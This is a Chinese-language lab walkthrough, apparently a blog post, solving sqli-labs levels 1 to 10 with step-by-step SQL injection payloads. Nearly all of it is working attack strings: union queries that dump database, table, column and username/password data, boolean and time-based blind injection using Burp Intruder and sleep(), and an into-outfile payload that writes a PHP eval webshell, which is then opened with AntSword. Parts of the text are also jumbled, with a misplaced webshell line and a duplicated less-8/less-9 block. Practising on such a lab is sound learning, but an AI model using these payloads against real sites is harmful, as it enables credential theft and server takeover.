sqli-labs靶场(less-1~10)
less-1(1-4同理)
1.判断是字符型还是数字型(是否需要闭合)
?id=1

?id=1’

为字符型(需闭合)
2.判断列数
?id=1’ union select 1,2,3–+(或者用order by 3)

?id=1’ union select 1,2,3,4–+

说明有3列
3.爆显示位
?id=-1’ union select 1,2,3–+

显示位为2和3
4.爆库
?id=-1’union select 1,database(),3–+

数据库的名称为security
5.爆表
?id=-1’union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’–+
解释:information_schema.tables表示该数据库下的tables表,点表示下一级。where后面是条件,group_concat()是将查询到结果连接起来。如果不用group_concat查询到的只有user。该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容。也就是下面表格users和passwd

6.爆字段
通过sql语句查询知道当前数据库有四个表,根据表名知道可能用户的账户和密码是在users表中
?id=-1’union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users’–+
解释:查询information_schema数据库下的columns表里面且table_users字段内容是users的所有column_name内的内容。
注意:table_name字段不是只存在于tables表,也是存在columns表中。表示所有字段对应的表名。

7.得到相应字段的内容
?id=-1’ union select 1,2,group_concat(username ,id , password) from users–+
(id用于分隔username和password)

补充:报错回显的 limit 0,1中0代表显示从第一个开始,1表示从第一个开始显示多少个
less-5
前置知识:
1.left()函数:left(database(),1)=‘s’
解释:left(a.b)从左侧截取a的前b位,若是s则返回1,错误则返回0
2.regexp函数:select user() regexp’oot’ (返回1)
解释:user()的结果是root@localhost,regexp为从左往右匹配oot(即只要uer()里正序匹配有oot就返回1,没有则返回0)
3.like函数:select user() like ‘oot%’(返回0)
解释:匹配与regexp相似,但该函数永远从第一个开始匹配,若第一个就不同则返回为0
4.substr(a,b,c):select substr()=‘xxx’
解释:substr(a,b,c)从位置b开始,截取a字符串c位长度
eg:select substr((select user()),1,1)=‘r’;(返回1)
5.select ascii()
解释:将某个字符串转化为ascii值
eg:select ascii(‘a’);(返回97)
select ascii(substr((select user()),1,1));(返回114)
select ascii(substr((select user()),1,1))>110;(返回1)
6.chr(‘数字’)或者是ord(‘字母’)
解释:使用python中的两个函数可以判断当前的ascii值是多少
less-5(5~6同理)
1.根据提示输入?id=1
返回结果

输入?id=1000,无返回值,说明只有正确的值才会回显

2.判断是字符型还是数字型
?id=1’

说明为字符型
3.判断列数
?id=1’ order by 4–+

说明有3列
4.爆库
用联合查询没有显示位,因此不能使用联合查询,采取burp suite抓包暴力破解
方法一:
一般为从第一个字母开始试错
输入?id=1’and left(database(),1)=‘a’–+,抓包

发送到intruder,并将a设置为变量

打开payload,将payloadtype选择为brute forcer

开始攻击

发现s的长度与其他不一样且其返回you are in…,说明数据库的第一个字母为s
修改left函数中截取位数的值,重复操作

得到数据库名security
方法二(二分法):
?id=1’ and ascii(substr(database(),1,1))>1–+; 有回显
?id=1’ and ascii(substr(database(),1,1))>156–+; 无回显
说明数据库名的首字母的ascii码在1~156之间,然后使用二分法继续尝试
5.爆表
同样使用二分法确定表名
?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))>1–+;
通过改变语句中的黑体字来确定该数据库下的所有表名
6.爆字段
同样使用二分法确定字段
?id=1’ and ascii(substr((select column_name from information_schema.columns where table_name='users’and table_schema=‘security’ limit 1,1),1,1))>1–+;
通过改变语句中的黑体字来确定该表名下的所有字段
7.得到相应字段内容
同样使用二分法确定内容
?id=1’ and ascii(substr((select username from security.users limit 1,1),1,1))>1–+;
通过改变语句中的黑体字来确定该字段下的所有内容
?id=-1’)) union select 1,2,‘<?php @eval($_POST[value]); ?>’ into outfile ‘D:\Phpstudy\phpstudy_pro\WWW\sqli-labs-master\Less-7\webshell.php’–+
less-7
前置知识:
1.load_file()
解释:读取本地文件
eg:select load_file(‘D:\Phpstudy\phpstudy_pro\WWW\sqli-labs-master\text.txt’) ;
2.into outfile
解释:写文件
eg:select ‘mysql is good’ into outfile ‘text.txt’; (若没有文件会自动创建)
黑体字也可以替换为文件路径
less-7
1.判断闭合方式
?id=1’,只显示语句错误,说明无回显
?id=1",显示正常,说明单引号未闭合
?id=1’–+,显示语句错误,说明未成功闭合
?id=1’)–+显示语句错误,说明未成功闭合
?id=1’))–+显示正常
2.判断列数
用order by语句判断有3列
3.根据提示使用outfile语句
?id=-1’)) union select 1,2,‘<?php@eval($_POST[value]);?>’ into outfile ‘D:\Phpstudy\phpstudy_pro\WWW\sqli-labs-master\Less-7\webshell.php’–+
注意:id=-1是为了防止生成的php文件里写入正常id带有的内容


成功写入
5.通过蚁剑访问该地址的webshell.php

测试连接成功

访问成功
less-8
方法一:
与less-5相似
方法二:
前置知识:
1.if(condition,A,B)
解释:如果condition条件为真则执行A,否则执行B
eg:select if(1>4,5,6);返回6(在mysql命令行中使用要先使用一个数据库)
2.sleep()
解释:sleep(5)代表延迟5s执行
3.length()
解释:获取长度
less-8(时间盲注)
1.使用延迟的方法判断是否存在注入漏洞
?id=1’and sleep(5)–+
延迟了5s返回且无返回值,说明存在注入漏洞
2.爆库
?id=1’and if(length(database())=1,1,sleep(3))–+
获取数据库名称的长度,若为1则立刻返回,否则延迟3s返回,最后发现长度为8
?id=1’and if(ascii(substr(database(),1,1))>100,1,sleep(3))–+
获取库名为security.
3.其余步骤都类似
less-9(9~10类似)
1.判断闭合方式
输入?id=1’或者其他任何输入,都会回显相同的内容
输入?id=1 and sleep(3)–+,直接有回显,说明语句未成功执行
输入?id=1’ and sleep(3)–+,延迟3s后回显,说明是单引号闭合
2.其余方法同less-8相似
获取数据库名称的长度,若为1则立刻返回,否则延迟3s返回,最后发现长度为8
?id=1’and if(ascii(substr(database(),1,1))>100,1,sleep(3))–+
获取库名为security.
3.其余步骤都类似
less-9(9~10类似)
1.判断闭合方式
输入?id=1’或者其他任何输入,都会回显相同的内容
输入?id=1 and sleep(3)–+,直接有回显,说明语句未成功执行
输入?id=1’ and sleep(3)–+,延迟3s后回显,说明是单引号闭合
2.其余方法同less-8相似
405

被折叠的 条评论
为什么被折叠?



